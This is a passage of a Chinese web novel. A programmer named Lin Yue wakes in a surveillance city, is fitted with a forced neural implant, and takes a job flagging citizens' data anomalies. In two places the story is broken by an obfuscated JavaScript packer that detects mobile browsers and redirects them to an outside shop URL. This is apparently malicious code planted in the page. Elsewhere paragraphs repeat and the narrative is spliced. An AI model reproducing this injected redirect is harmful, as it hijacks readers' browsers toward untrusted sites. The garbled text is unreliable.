只不过现在,他要解决的问题从“为什么这个接口返回500错误”变成了“怎么在下一个世界活下去”。 本质是一样的:分析问题,收集数据,提出假设,验证,修正,再验证。 他打开《轮回记录与生存指南》,在新的一页写下: 关于下次穿越的假设: 1.时间:无法预测,但可能在睡眠或放松警惕时发生。 2.地点:可能在任何地方,做好随时转移的准备。 3.世界类型:未知,但可能围绕某种“规则”展开。 4.初始状态:可能携带现有物品,也可能不携带。做好两手准备。 5.死亡风险:更高。新手保护期已过,可能只有三条命。 写完这些,林越停顿了一下,然后在最后加了一行,用力写下: 最重要的事:保持清醒,保持理性,保持人性。 他合上笔记本,走到窗边。 夜色中的城市依旧繁华,车流如织,霓虹闪烁。 一切都那么正常,正常得让人怀疑龙语世界是不是真的只是一场梦。 但林越知道不是。 他的手还在疼——不是伤口疼,是肌肉记忆的疼。挖井时磨出的茧子已经软化,但那种反复摩擦的感觉还留在神经末梢里。 他的脑子里还记着大炎官话的发音。 他的笔记本上还记录着四次轮回的每一个细节。 这些都是证据。 真实存在的证据。 林越转身走回卧室。把双肩包放在床边触手可及的地方。玉坠塞进贴身口袋。手机充上电。窗户检查一遍是否锁好。 然后他躺上床,闭上眼睛。 呼吸平稳,心跳正常。 没有恐惧,没有焦虑,只有一种近乎冷酷的平静。 他已经死过三次了。 他知道死亡是什么滋味:痛到无法感觉到疼痛,冰冷而绝望,然后黑暗,什么都不再存在。 他也知道活下来是什么感觉:又疼又累,但值得。 所以如果再次穿越,他会面对。如果再次死亡,他会承受。如果还有机会活下来,他会抓住。 就这么简单。 窗外传来远处酒吧的音乐声,年轻人的笑声,汽车驶过的呼啸。 而林越躺在床上,等待着。 等待下一次可能永远不会到来的穿越。 或者,等待下一秒就会降临的未知。 但他不慌。 因为打包好应急包的人,不会慌。 18. 数字孤岛 黑暗。 然后,震动。 林越猛地睁开眼睛——看到的不是卧室天花板,而是一片冷白色的光。他躺在一张金属长椅上,四周是光滑的金属墙壁。 空气中有消毒水和臭氧的味道。 “穿越了。”这个念头直接跳进脑子,“龙语世界是新手教程,现在正式服开了。” 他坐起身,低头看手腕。 三道淡红色的痕迹,均匀地环绕着左手腕。 “三条命。”林越低声说,语气平静,“清晰明了,童叟无欺。比那些藏着掖着的职场潜规则强多了。” 他站起来,观察房间。大约二十平米,没有窗户,唯一的家具是长椅和对面的显示屏。角落里,一个摄像头缓缓转动,红色指示灯像独眼巨人的瞳孔。 “监控摄像头。”林越喃喃自语,“而且是最新型的,360度无死角。公司办公室里装满了这玩意儿,美其名曰‘提升工作效率’,实则是为了监视员工有没有在摸鱼。但眼前这个……更简洁,更隐蔽,更精密。实验世界?监控世界?” 他走向显示屏。屏幕感应到他的靠近,“嗡”地一声亮起: 【公民ID:未注册。数字身份:缺失。网络接入权限:0。社会信用评分:0。】 【警告:检测到非法离线状态。根据《全域网络安全法》第7条第3款,持续离线超过72小时将触发‘数字遗民’警报。】 【建议:立即前往最近的公民服务中心进行身份注册和数据接入。】 冰冷的机械女声同时在房间里响起,也在他脑子里响起——直接传入意识。 林越皱眉,伸手触摸屏幕。画面切换: 【欢迎来到新长安城。您是今日第147位新抵达者。请完成以下步骤以获取合法公民身份:】 【1. 生物信息采集(指纹、虹膜、DNA序列)】 【2. 神经接口配对(用于接入城市数据网络)】 【3. 社会角色选择(根据您的技能评估匹配就业岗位)】 【4. 信用账户开通(初始额度:1000数字信用点)】 【注意:拒绝注册或提供虚假信息将视为违法行为,最高可判处永久数字监禁。】 林越盯着“神经接口配对”,眉头皱得更紧了。 “直接接入大脑?”他想起刚才那些直接涌入意识的数据流,“这玩意儿一旦装上,岂不是连脑子里想什么都能被监控?刚想到‘今晚吃什么’,全城的餐厅广告就铺天盖地砸过来;稍微有点不满情绪,心理疏导热线就自动拨通;要是敢琢磨点不该琢磨的……” “比公司监控还狠。”他扯了扯嘴角,“至少996还有下班时间,这里可是24小时全天候服务,连梦话都可能被分析。” 他没得选。在龙语世界学到的第一课:不要硬刚规则,除非你已经找到了漏洞。 他点击“同意条款”。墙壁无声滑开,露出后面的通道。通道两旁排列着更多的摄像头,红色指示灯像两排沉默的卫兵。 林越走进去,脚步声在通道里回荡。 通道尽头是一个更大的房间,像医疗中心。一个穿着白色制服的工作人员站在机器旁,脸上挂着标准的职业微笑——标准到像是用模具刻出来的。 “请躺到扫描床上。”工作人员的声音没有起伏,“生物信息采集将在三分钟内完成。” 林越照做了。机器启动,蓝光从他头顶扫到脚底。皮肤表面有轻微的刺痛感。 【指纹采集完成。】 【虹膜扫描完成。】 【DNA序列提取中……提取完成。】 然后,一行红色的文字跳出来: 【警告:检测到异常生物标记。DNA序列中存在未登记的特殊蛋白质结构,疑似异常数据扰动残留。建议进行进一步分析。】 林越的心跳漏了一拍。 异常数据扰动残留?是发现我来自别的世界了么?还是龙语世界的影响吗?云瑶那个世界的力量,会不会在他身上留下了印记? 工作人员的表情没有任何变化,仿佛那条警告信息根本不存在。 “异常标记已记录,不影响公民身份注册。”他说,“现在进行神经接口配对。请放松,可能会有轻微不适。” “轻微不适”这个词,让林越警惕起来。在医疗语境里,“轻微不适”往往意味着“会很痛但我们会说这是正常的”。 一根细长的金属探针从机器侧面伸出,精准地移动到他的后颈位置。 然后—— 刺痛。探针在缓缓推进,他能感觉到金属穿透皮肤、肌肉、筋膜,最后抵在颈椎骨上。某种冰凉的液体被注射进去,沿着脊椎向上蔓延。 【神经接口植入中……10%……50%……100%。】 进度条在屏幕上跳动,伴随着每一次心跳,痛感也一次次加强。林越咬紧牙关,额头渗出冷汗。 他能感觉到有某种东西正顺着探针注入体内,像是一串数据,一串代码,沿着神经系统蔓延,渗透到每一个神经元。 “这感觉……”他咬牙忍着痛,“就像给大脑安装了一个强制更新的操作系统,还不能拒绝。更新内容:隐私条款全部同意,数据收集全部开启,后台监控全部运行。用户协议?哦,你没得选。” 他想起以前公司强制安装的监控软件,美其名曰“安全防护”,实则是为了监视员工。但那个软件至少还能想办法绕过,或者下班后关掉。这个神经接口……是直接装在脑子里的,24小时在线,永久运行。 “很好。”他在心里自嘲,“以前是996,现在是247——24小时,7天,全年无休。而且这次是真的‘用脑工作’。” 终于,探针缓缓退出。后颈留下一个微小的创口,有点麻,有点痒。 【配对完成。欢迎接入新长安城数据网络。】 刹那间,世界变了。 他的视野边缘出现了半透明的数据浮窗:左边是时间、温度、空气质量;右边是个人信息栏:【临时公民-林越】【信用点:1000】【社会信用评分:0】。 更可怕的是,当他看向那个工作人员时,视野中央自动弹出了详细的个人信息面板: 【姓名:李铭(编号:CT-7429)】 【职务:公民服务中心三级专员】 【今日工作时长:4小时17分钟】 【情绪状态:平稳】 【社会信用评分:687(良好)】 【健康状况:BMI 22.3,血压 118/76】 【昨夜睡眠时长:6.2小时(质量:中等)】 【今早摄入:合成咖啡(热量35卡)】 【近期医疗记录:轻度颈椎病(建议增加颈部运动),季节性过敏(已服药控制)】 ——连睡觉都要被评分。吃什么都要被记录。生病都要被分析。 林越突然有点同情李铭。这个工作人员,每天在这里接待新抵达者,脸上挂着标准的微笑,说着标准的话,做着标准的事。他的生活被完全数据化,完全透明化,完全……可控化。 “至少他知道自己是被监控的。”林越想,“而在这个城市里,可能所有人都习惯了。就像鱼习惯了水,鸟习惯了天空,社畜习惯了加班——虽然不情愿,但这就是生活。” 他关闭了李铭的信息面板。视野恢复清爽,但那种被数据包围的感觉还在。 这已经不是隐私泄露了——这是把一个人扒光了放在橱窗里展览,还贴上了详细的商品标签:生产日期(出生年月)、保质期(预计寿命)、成分表(DNA序列)、使用说明(性格倾向)。而你作为“消费者”,可以随意浏览,随意评判,随意……利用。 更可怕的是,这种信息暴露是单向的。他能看到李铭的一切,但李铭看不到他的——至少现在看不到。这种不对称的权力关系,让人不安。 “所以在这个世界,”林越在心里吐槽,“人与人之间的信任就是:我知道你的一切,但你不一定知道我的一切。这比龙语世界还直接,那里至少还要通过言行举止来判断,这里直接数据化,连你昨晚做了什么梦都能查到。” 李铭递过来一个巴掌大小的金属设备。 “这是您的个人终端,集成了身份证明、支付、通讯、数据查询等功能。请妥善保管,遗失需要支付500信用点补办费。” 林越接过终端。终端自动唤醒,全息投影在空气中展开操作界面。 【设备绑定中……绑定完成。欢迎使用,临时公民林越。】 “现在进行社会角色选择。”李铭在控制面板上操作,林越的全息界面上也同步显示职业列表: 【数据清洗员(初级):日薪80信用点,工作时长10小时/天。】 【网络巡逻员(见习):日薪75信用点,工作时长12小时/天。】 【信息筛选师(学徒):日薪90信用点,工作时长8小时/天。】 都是和数据打交道的工作,薪水低得可怜。 林越的视线停在“信息筛选师”上。这个岗位的工作时长最短,日薪却最高——说明对技能要求更高。而且“信息筛选”这个能力,正是他在监控世界最需要的。 “我选信息筛选师。”他说。 李铭点点头,在屏幕上确认选择。 【岗位分配完成。雇主:‘深网数据工坊’。入职时间:明日8:00。工作地点:第七区数据塔,B座17层。】 【临时公民身份已激活。有效期:30天。30天内需通过社会贡献评估,方可转为正式公民。】 【初始信用点已发放:1000点。当前余额:1000点。】 信息涌入脑海,林越强迫自己集中注意力,只记住最关键的部分:明天早上八点,第七区数据塔。 “注册流程已完成。”李铭说,“您可以选择在公民服务中心的临时宿舍居住,每晚收费50信用点;或者自行寻找住所。请注意,离线状态超过72小时将触发警报,建议保持网络接入。” “我住宿舍。”林越毫不犹豫。他现在对这个世界一无所知,贸然出去乱逛等于找死。 李铭带他穿过另一条通道,来到宿舍区。房间很小,只有一张床、一张桌子、一个卫生间。墙壁上挂着显示屏,正播放着新长安城的宣传片: “在新长安,每个人的数据都得到最安全的保护!我们的加密技术达到军用级别,绝对不用担心隐私泄露!” 画面上,一个笑容灿烂的家庭正在公园里野餐。 “同时,数据共享让生活更便捷!系统会自动分析您的偏好,推荐最适合的商品和服务,节省您宝贵的时间!” 镜头切换到超市,一个女士刚拿起一包合成肉,旁边的广告屏就弹出烹饪教程。 林越面无表情地看着。 保护隐私?数据共享?这两个词根本是矛盾的。要么你保护隐私,那数据就不能共享;要么你共享数据,那隐私就是个笑话。 而这个世界选择了后者——不,是强制。神经接口是强制植入的,数据接入是强制要求的,离线是会被惩罚的。 宣传片还在继续吹嘘,但他已经懒得听了。他走到床边坐下,打开个人终端,点开地图。 新长安城的全息模型在眼前展开,缓慢旋转。那是一座巨大的立体城市,建筑像积木一样层层堆叠,空中轨道穿梭其间,数据流如血管般在网络中流动。 他放大第七区的地图,找到了数据塔。那是一座细高的建筑,像一根银色的针直插天空。 他的目光突然停在一个不起眼的图标上。 那是一个黑色的水滴形状,标注是“黑水酒吧”。 黑水。 林越的手指僵住了。 在龙语世界,“黑水”是一个神秘组织,专门掳走年轻女子,目的未知。王千户的悬赏令上,那个和他有三分相似的通缉犯,就是黑水成员。 而现在,在新长安城,也有一个叫“黑水”的地方。 是巧合吗? 他点开黑水酒吧的详细信息: 【名称:黑水酒吧】 【类型:娱乐场所】 【营业时间:18:00-次日6:00】 【特色:提供未经加工的真实酒精饮料、数据交易、匿名交流服务】 【注意事项:本场所监控覆盖率低于城市标准(约60%),请顾客注意个人安全。】 “数据交易”、“匿名交流”、“监控覆盖率低”…… 这些词组合在一起,让林越嗅到了危险的气息,也嗅到了机会。 在全面监控的社会里,一个监控盲区意味着什么?意味着你可以说一些不该说的话,做一些不该做的事,见一些不该见的人。 但也意味着,那里聚集着这座城市最不想被看见的人。 龙语世界的“黑水”是一个神秘组织,专门掳走年轻女子,目的未知。成员有悬赏令上的通缉犯(和他三分相似),有黄壤屯捉拿的贼人,可能还有那个用疑似龙语文字记账的包子铺老板。 而这个世界的“黑水酒吧” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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【安全提醒:近期检测到新型恶意软件‘记忆蠕虫’,可通过神经接口传播,篡改短期记忆。请勿下载不明来源的数据包。】 【社会新闻:第十区一位居民因持续离线超过72小时,被判定为‘数字遗民’,已由社会关怀部门带走进行‘数据再教育’。专家呼吁:保持网络连接是公民的基本义务。】 林越盯着那条社会新闻,胃里一阵翻腾。 “数据再教育”?听起来像是洗脑的代名词。 他想起龙语世界里那些因为触犯禁忌而被处死的人,想起刑场上的石板血痕,想起斩首台。 不同的世界,同样的残酷。只是这里的刀更隐形,更精密,更无处不在。 “神经接口需要24小时适应期。”李铭说过,“在此期间,您可能会感到信息过载、头痛或幻视。如果症状持续超过48小时,请前往医疗中心就诊。” 他需要适应这个。需要学会过滤这些噪音,就像程序员需要过滤无关的日志输出,产品经理需要过滤不切实际的需求,测试需要过滤无关紧要的bug。 “第一步,”他在心里制定计划,“明天去工作,观察同事,了解数据筛选的具体内容。第二步,慢慢摸清这个城市的规则,特别是那些即死规则——比如离线超过72小时。第三步,在确保安全的前提下,接触黑水酒吧,获取信息。” 计划很粗糙,但至少有个方向。 他想起现实世界的工作。明天早上九点,他本来要开站会,汇报项目进度,应付产品经理的改需求。现在……他在这里,准备去一个叫“深网数据工坊”的地方,当信息筛选师学徒,日薪90信用点。 “从写代码到筛数据,从应付产品经理到应付监控系统。”他自嘲,“职业跨度不大,都是和数据打交道。只不过以前的数据可能让用户不爽,现在的数据可能让我死。” 手腕上的三道红痕微微发烫,像在提醒他:你只有三次机会。 “希望不要这么快就触发。”他想,“至少让我先摸清这个世界的规则,死也要死得明白点。” 他想起龙语世界的四次轮回:第一次死于语言,第二次死于沉默,第三次死于禁忌,第四次才成功通关。 不知道这次会死几次。 但至少现在,他有了一个起点:明天早上八点,第七区数据塔,深网数据工坊,信息筛选师学徒。 以及,一个可能的机会:黑水酒吧。 他躺到床上,床垫硬得像木板。闭上眼睛,但睡不着。神经接口还在适应期,脑子里时不时闪过一些杂乱的数据片段:温度读数、时间更新、网络状态提示……像是有个小人在脑子里不停地报数。 【当前温度:22.3℃】 【当前时间:21:47】 【网络连接状态:稳定】 【数据流量:低】 【建议:保持在线状态】 “闭嘴。”他在心里对那个声音说,“我需要睡觉,不需要实时播报。” 但声音还在继续。他只好尝试忽略,就像忽略办公室里的背景噪音,忽略微信群的未读消息,忽略脑子里那些“明天还要加班”的念头。 慢慢地,呼吸平稳下来,心跳放缓。 在彻底沉入睡眠前,最后一个念头是:希望这个世界的“公司”不要太卷,至少让我有时间去找黑水酒吧。 然后,黑暗。 窗外——如果这房间有窗的话——新长安城的霓虹灯应该已经亮起,数据流在夜色中流淌,像一条永不熄灭的银河。 他深吸一口气,关闭了个人终端。 黑暗中,只有摄像头红色的指示灯在闪烁,像一只永不闭眼的眼睛。 而林越知道,在这座城市里,这样的眼睛有亿万只。在每面墙上,在每个角落,在每台设备里,甚至……在每个人的大脑里(通过神经接口)。 它们注视着你,记录着你,分析着你,评判着你。 而你无处可藏。 他躺到床上,床垫硬得像木板。闭上眼睛,但睡不着。神经接口还在适应期,脑子里时不时闪过一些杂乱的数据片段:温度读数、时间更新、网络状态提示……像是有个小人在脑子里不停地报数。 他需要适应这个。需要学会过滤这些噪音,就像程序员需要过滤无关的日志输出。 需要学会在这个数字孤岛里生存——一个所有人都被迫在线、被迫透明、被迫连接的孤岛。 而离线,是最大的罪过。 19. 深海初潜 早上七点半,林越被神经接口的闹钟“拍”醒——不是声音,是直接作用于大脑皮层的意识轻拍。他睁开眼,天花板白得刺眼。脑子里还残留着数据碎片:室温23.7度、PM2.5指数42、本层入住率87%……全是关不掉的后台提示。 “比手机推送还烦。”他坐起身,揉了揉太阳穴。 手腕上三道红痕清晰。三条命。容错率低得可怜。 洗漱时,毛巾擦脸触发健康报告弹窗:“睡眠质量:浅眠为主(深度睡眠12%,偏低)……情绪指数:平稳,略带焦虑(工作首日压力)。” 林越扯扯嘴角。废话,换谁穿越到全员裸奔的数据世界,第一天上班就当“数字偷窥狂”,能不焦虑吗? 七点五十,他离开宿舍。走廊里挤满穿灰色工装的临时公民,沉默如工蚁,神经接口浮窗闪烁各自的日程。林越的导航箭头指向第七区数据塔。 电梯里镜面倒映疲惫麻木的脸,无人交谈,只有神经接口的轻微提示音。消毒水味混合电子焦味。 街景比昨天清晰。高楼外墙是动态柔性屏幕,滚动宣传片:“数据共享让生活更便捷”、“透明化社会构建全新信任体系”……画面里人们笑容灿烂,手拉手站在全息数据流中,童话般幸福。 行人匆匆,眼前都有数据浮窗。有人看股票,有人盯购物推荐,有人嘴唇微动视频通话——神经接口直接脑对脑通讯。隐私?不存在的,只有“便捷”。 拐进侧街,建筑旧些,墙面屏幕有的损坏显示乱码。行人少了,监控覆盖率显示“92%”,比市中心低几个点。 “深网数据工坊”在街尽头。不起眼的五层楼,混凝土原色外墙,无招牌。门口电子牌滚动小字:“第七区数据处理中心·深网工坊”。 林越在门口停步,深吸气。手腕红痕似乎微烫——也许是心理作用。他抬头看建筑上方,几个黑色球状摄像头无声转动。 “进去吧,”他对自己说,“至少这次不是去刑场。” 工坊内部比外面大得多。 穿过神经接口验证的安检门,挑高大厅中央是巨大全息投影——新长安城实时数据流三维地图。无数光点如星河流动,每点代表一个公民的数据行为:购物、通讯、移动、健康监测…… 光点汇河,河流织网。一张覆盖全城、活的数据之网。 他们,信息筛选师,是这张网的维护者——或者说,看守者。 “林越?”声音从旁传来。 转头,穿灰色工装、左臂戴蓝色袖标的中年女人。约莫四十岁,面容严肃,眼神锐利如能看穿数据表层。 “我是陈主管,你的直属上级。”女人没伸手,上下打量他一眼,“跟我来。” 林越跟上,穿过大厅侧门进入长走廊。两侧玻璃隔开工位,每个工位里人呆坐着,眼睛盯虚空——视野被神经接口投射的数据流填满。 “你的工位在C区17号。”陈主管脚步不停,声音平板如念说明书,“信息筛选师学徒工作简单:接入公民公共数据流,识别异常模式,打标签。标签三级:绿色观察、黄色警告、红色高危。每个标签需附简短文字说明,要客观,不准带主观判断。” 她在玻璃门前停步,门自动滑开。 “进去。神经接口会自动连接工坊内网,你会看到任务队列。”她侧身让林越进,没离开的意思,“记住三条原则:第一,不看内容,只看模式。第二,情感是噪音,过滤掉。第三,你只是个过滤器,不是法官。” 林越进工位。工位约三平米,一张悬浮椅,一个控制台,台上只有一个按钮标着“接入/断开”。 “坐下,接入。”陈主管站在门口命令。 林越坐下,手指按按钮。 瞬间—— 世界被覆盖了。 视野被无数快速滚动数据流填满,像超负荷服务器日志疯狂刷新。文字、数字、图表、波形图、位置标记、时间戳……它们不是“图像”,而是直接“印”在意识里,绕过眼睛,直达大脑。 窒息感。数据流密度太高,思维被挤压淹没。他试图集中注意力看一条信息—— 公民ID:A7J3K9 时间:今日07:15 行为:购买早餐(豆浆油条套餐)情绪指数:平静(72分)关联数据:无异常 但这条信息只停留0.1秒,被下一波数据冲走。 “呼吸。”陈主管声音遥远,“别试图理解每一条数据,你大脑会烧掉。找规律,找偏差,找‘不一样’的东西。” 林越强迫调整呼吸。闭眼没用,数据流直接输入神经接口。他想起程序员时期处理海量日志:不能逐行看,要找关键词、错误码、异常峰值。 注意力转到“模式”上:数据流节奏、颜色编码、频率变化…… 十分钟后,找到第一个“异常”。 一堆稳定购物数据中,一个公民消费频率从每天2-3次飙升到半小时内7次,全买同类商品(能量饮料)。情绪指数从平静骤降到焦虑(45分),位置信息显示他一直待在某个公共休息区。 林越用意念选中这条数据流,打“黄色警告”标签,附注:“短期内高频消费同种商品,情绪焦虑,建议检查是否存在成瘾行为或精神压力。” 标签打上,数据流从公共池分离,汇入侧边“待处理队列”。 “还行。”陈主管声音似乎近了些,“继续。上午任务量是标记50个黄色或以上异常。完不成扣信用积分。” 林越没回话,已没精力分心。 数据洪流继续冲刷。每一秒成千上万条信息流过意识,他必须像筛沙子,从中挑出几粒形状不一样的石子。 头痛开始。太阳穴发紧,后脑勺胀痛,大脑皮层过度刺激的酸痛。视野边缘数据流出现重影。 他咬紧牙关,继续筛。 第二个异常:公民健康数据连续三天“睡眠质量极差”,但白天工作效率评分反常地高。标签:黄色警告,附注:“可能存在健康数据伪造或过度依赖兴奋剂风险。” 第三个异常:位置数据显示某公民过去72小时有超过50次短暂“离线”(每次1-3秒)。标签:绿色观察,附注:“离线行为频繁但短暂,可能为设备故障,也可能为有意识信号规避测试。” 每一分钟都像一小时那么长。 林越开始理解“情感是噪音”。每天看几百人的购物记录、通讯片段、健康数据、情绪波动,很容易对“数据源”产生共情——为某人焦虑担心,为某人喜悦微笑,为某人痛苦皱眉。 但不能。如果对每个数据点都投入情感,一天内就会精神崩溃。 必须麻木。必须变成过滤器,只认模式,不认人。 “这哪是信息筛选,”林越标记完一个“红色高危”(情绪指数连续暴跌至20分以下,且购买危险物品记录)后,脑子里闪过自嘲,“这是合法的偷窥狂欢。以前是老板监控我,现在是我监控全城人的数据。报应来得真快。” 黑色幽默成了唯一心理防御机制。 中午十二点,系统提示休息时间。 林越瘫在椅子上按下断开按钮。数据流消失,视野恢复——玻璃墙、控制台、走廊人影。 但脑子里还在嗡鸣,像刚离开重金属演唱会。太阳穴疼痛扩散到整个前额。他揉眉心,感觉大脑像被拧干的海绵。 “第一次都这样。”温和声音从旁传来。 林越转头,隔壁工位的人站在玻璃门外。年轻男性,二十五六岁,面容清秀但眼神空洞,笑容标准得像从模板刻出。 “我是刘贤,C区18号,你的邻居。”年轻人说,玻璃门自动滑开他走进,“怎么样,信息洪流滋味?” “像被人用百科全书砸脸。”林越实话实说。 刘贤轻笑:“比喻贴切。不过习惯就好,大脑适应性很强。一起去吃饭?” 林越点头,起身跟他走出工位。 走廊里不少人往食堂走。刘贤走在他旁边,步伐平稳姿态放松,已完全适应环境。 出于好奇——或者说职业病——林越下意识看了一眼刘贤的公开数据面板。 然后他愣住了。 刘贤的数据面板详细到令人窒息。 不只是基础身份信息(刘贤,26岁,正式公民,信用积分92),还包括实时生理数据、健康记录、情绪曲线、消费记录、工作表现……几乎没有任何隐私。 林越迅速移开视线,但信息冲击已烙在脑子里。昨天公民服务中心工作人员数据也透明,但刘贤这个更彻底,更像“完美公民样本”。 “怎么了?”刘贤注意到他异样。 “没……没什么。”林越摇头,努力让表情自然,“只是有点……数据过载后遗症。” 刘贤理解点头:“正常。我第一次看别人详细数据也这样,感觉像突然拥有读心术。”他顿了顿,语气平静如讨论天气,“不过习惯了就好。透明有透明的好处,至少……你不会犯错。” 这句话轻描淡写,但林越感到寒意从脊椎爬上来。 不会犯错。因为一举一动都被监控,所以必须时刻保持“正确”。因为所有数据都公开,所以任何一点偏差都会被立刻发现。 这不是自由,是另一种形式的囚禁。 食堂在地下一层,宽敞但装修简单。自助取餐区摆几十种标准化餐食,每种旁有营养成分表和推荐摄入量。刘贤熟练取高蛋白低脂套餐,林越跟取类似。 他们找靠墙桌子坐下。周围员工安静吃饭,少有人交谈,大多用神经接口处理什么——查看消息、浏览资讯、或继续未完成工作。 “你入职多久了?”林越试图找话题。 “两年。”刘贤小口吃蔬菜沙拉,“从临时公民开始,六个月转正,然后一直在这里。挺稳定,福利也不错。” “没想过……做点别的?” “别的?”刘贤抬头,眼神闪过一丝疑惑,“为什么要做别的?信息筛选师很重要,我们维护城市数据流秩序。没有我们,异常行为得不到及时处理,社会系统就会出现风险。” 他说这话语气真诚,无丝毫讽刺或无奈,像在背诵从小就学会的教条。 林越突然意识到,刘贤不是在表演。他是真的相信。相信数据透明是好事,相信监控必要,相信自己的工作有意义。 因为从出生开始,他所接受的一切信息都在告诉他:这是对的。 “而且,”刘贤喝水,语气轻松些,“数据透明也有好处。比如我知道自己该吃什么才能保持健康,知道什么时候该休息才能提高效率,知道怎么花钱才能最大化幸福感。系统给我最优建议,我只要照做就行。” 他笑了笑,笑容标准得像从表情库里调出:“不用自己费心思考,多好。” 林越不知该说什么。他低头吃饭,感觉嘴里食物味同嚼蜡。 午休时间四十分钟。吃完饭后,刘贤说要去休息区“小睡十分钟以维持下午工作效率”,林越找借口说想熟悉环境,独自留在食堂。 他走到角落公共数据终端前——简单触摸屏,提供基础公民服务查询。环顾四周确认没有明显监控摄像头对着死角,然后快速操作。 他想测试。 测试自己的神经接口,到底能承受多大密度数据流。 如果未来需要主动接入更高权限数据源(比如调查黑水酒吧),他必须知道自己现在的极限在哪里。不能像上午那样被动挨打,得主动试探边界。 终端屏幕上是城市公共服务数据流公开接口,任何人都可访问,但数据密度很低——主要是天气预报、公共交通时刻表、公共设施状态等基础信息。 林越深吸气,用意念向神经接口发出指令:接入,深度调高一级。 瞬间,数据流密度增加。 不再是简单文字信息,而是带上实时图表、趋势分析、关联推荐……信息量约是上午公共数据流的1.5倍。大脑开始有压力,但还能承受。 他坚持三十秒,调高第二级。 数据流开始包含低敏感度公民行为统计数据(匿名聚合后):“第七区今日早高峰出行人数同比变化”、“公共区域平均停留时长”、“常见消费品类热力图”…… 信息量翻倍。头痛加剧,太阳穴突突跳。 林越咬紧牙关,看视野角落神经接口状态指示:当前数据负载率65%,仍在安全范围。 再来一级。 他调高第三级——公开接口最高权限,理论上可接触“半公开”数据流:实时能耗监控(建筑级别)、公共网络流量分布、环境传感器数据流…… 数据洪流轰然而至。 这一次不只是信息量增加,而是质的变化。数据不再是一个个离散的点,而是连接成网,流动成河。他能“看”到整个第七区的能耗脉络,能“听”到公共网络中数据包呼啸而过,能“感觉”到环境传感器传来的温度、湿度、气压细微变化—— 然后大脑罢工了。 剧痛。不是头痛,是整个颅腔内爆炸性疼痛。像有人用烧红铁棍捅进他后脑,然后在里面搅动。视野瞬间被白光覆盖,数据流扭曲成无法辨识乱码,耳边响起尖锐刺耳电子啸叫。 “呃——!” 他本能弯下腰,双手死死按太阳穴。胃里翻江倒海,恶心想吐。视野里,数据负载率数字飙到120%,鲜红色警告弹窗疯狂闪烁: 警告:神经接口过载!建议立即断开连接! 警告:脑电波活动异常!检测到神经元放电失控风险! 林越用尽最后一点意志力,切断连接。 数据流消失。 但他还跪在地上,喘粗气,汗水顺额头滴下,在终端屏幕映出几个深色圆点。过了一分钟,眼前视野才慢慢恢复清晰,耳鸣也逐渐消退。 他扶终端台站起,双腿发软。 食堂角落没有镜子,但终端屏幕不显示内容时是黑色的,能勉强当镜子用。林越凑近屏幕,倒影里的自己脸色苍白如纸,眼睛里布满血丝—— 不,不只是血丝。 右眼眼白上,靠近眼角位置,出现一小片鲜红出血点。很细,像针尖戳出,但确实是血管破裂痕迹。 他盯着那片红色,心里一片冰凉。 0.5秒。他只在高密度数据流里坚持0.5秒,眼球毛细血管就撑不住了。如果刚才再多坚持一秒,会怎么样?视网膜出血?脑部微血管破裂?还是直接脑死亡? “这就是极限。”他低声对自己说,声音沙哑,“现在的极限。” 他用袖子擦额冷汗,强迫自己站直身体。不能让别人看出来异常,尤其是在这个到处都是监控的地方。 午休时间快结束。他整理衣服,深吸几口气让脸色稍微恢复,然后若无其事走回工坊。 下午工作比上午更难熬。 头痛没减轻,眼球出血点虽小,但每次眨眼都能感觉到细微异物感。数据流依然在冲刷,他必须集中十二分注意力才能勉强完成标记任务。 但有一点好处:经过中午那次过载测试,他对数据流的承受阈值有了清晰认知。现在再面对上午那种密度的公共数据流,竟然觉得……轻松了一些。 大脑的适应性果然可怕。 下午四点,系统提示今日任务完成:标记黄色警告32个,绿色观察18个,红色高危2个。超额完成,信用积分+5。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119405|195946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 林越长出一口气,按下断开按钮。 视野恢复正常时,他感觉像刚从深海浮出水面,重新呼吸到空气。虽然头痛还在,但至少意识是自己的了。 他收拾东西准备下班,习惯性检查自己的公民数据面板。 基础信息一切正常:林越,临时公民,信用积分5(刚加),当前状态:工作中。 但往下翻到生物识别数据时,他停住了。 DNA异常标记那一栏,状态更新了。 昨天还是简单的“异常数据扰动残留(已记录)”,现在多了一行新标注: 观察对象:低风险说明:检测到基因序列与历史数据库碎片存在37%威胁度。匹配来源:归档研究“异常数据传导理论”(研究状态:已终止)。建议保持观察,如有进一步异常表现,提升监控等级。 林越盯着那行字,心脏微微收紧。 37%威胁度。“异常数据传导理论”。已终止的研究。 而且,“观察对象”这个标签,意味着系统已把他放在某个名单上。低风险只是暂时的,一旦他表现出更多异常——比如频繁接入高密度数据流,或试图调查黑水酒吧——这个标签随时可能变成“中风险”甚至“高风险”。 他关掉面板,走出工位。 走廊里,下班人群正在往外走。刘贤已在门口等他,见他出来,笑着挥手:“今天辛苦了,一起回去?” “不了,”林越摇头,“我想……随便走走,熟悉一下第七区。” “也好。”刘贤理解点头,“那明天见。记住晚上十点前要回到公民服务中心报到,否则会被算‘夜不归宿’,扣信用分的。” “知道了,谢谢。” 两人在工坊门口分开。刘贤走向公民服务中心方向,林越则拐进另一条街。 他确实想熟悉环境,但更重要的原因是:他需要独处。需要消化今天的信息量,需要思考下一步该怎么走。 第七区街道比市中心破旧,但更有生活气息。路边有小贩卖热食,香气飘散;孩子们在巷子里追逐嬉戏,笑声清脆;老人们坐在长椅上聊天,语速缓慢。 如果不是每个人眼前都有数据浮窗,如果不是街角那些无声转动的监控探头,这里几乎像个正常的、有烟火气的老城区。 走到十字路口,他停下来等红灯。 